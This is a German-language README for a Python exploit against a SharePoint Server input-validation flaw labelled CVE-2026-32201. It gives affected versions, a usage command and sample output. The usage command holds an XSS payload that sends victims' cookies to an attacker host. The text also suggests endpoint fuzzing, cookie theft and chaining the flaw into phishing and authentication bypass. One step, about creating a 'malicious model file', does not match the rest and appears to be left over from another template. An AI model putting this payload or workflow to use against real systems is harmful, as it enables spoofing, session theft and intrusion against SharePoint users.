Übersicht

Python-Exploit für CVE-2026-32201 - unsachgemäße Eingabevalidierung in Microsoft SharePoint Server, die nicht authentifiziertes Netzwerk-Spoofing ermöglicht (C:L/I:L).

• Betroffen: SharePoint Server 2016 Enterprise, 2019, Subscription Edition < 16.0.19725.20210;
• Vektor: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N;
• Auswirkung: Anzeigen/Ändern sensibler Daten über gefälschte Benachrichtigungen/Dokumente.

Funktionen

1. Fingerprinting von SharePoint.
2. Maßgeschneiderter POST zur Umgehung der Eingabevalidierung (sender_override).
3. Anpassbare Payload (Absender, Empfänger, Betreff, Nachricht mit XSS).
4. Antwortanalyse zur Verifizierung.

Verwendung

1. Speichern Sie es als exploit.py
2. Führen Sie es aus, um eine schädliche Modelldatei zu erstellen:

python3 exploit.py https://sharepoint.target.com \
  --recipient [email protected] \
  --sender "[email protected]" \
  --message "<script>fetch('http://attacker.com/?c='+document.cookie)</script>" \
  --endpoint /_layouts/15/notify.aspx

Beispielausgabe:

[+] SharePoint erkannt.
[*] Sende gefälschte Anfrage an https://target.com/_layouts/15/notify.aspx
[+] Status: 200
[+] Möglicher Erfolg: Prüfen Sie Zielprotokolle/E-Mails auf gefälschte Inhalte.

Anpassung

• Endpunkt-Fuzzing: ffuf -u https://target.com/FUZZ -w sharepoint-layouts.txt
• XSS-Payload: Fügen Sie JavaScript in --message hinzu, um Cookies zu stehlen
• Verkettung: Spoofing → Phishing-Link → Auth-Bypass

Verifizierung

• Erfolgsindikatoren: 200 OK + "sent/success" in der Antwort
• Serverseitig: Prüfen Sie ULS-Protokolle/IIS-Protokolle auf anomale Anfragen
• Auswirkung: Überwachen Sie E-Mails/Dokumente auf gefälschte Absender, testen Sie Datenänderungen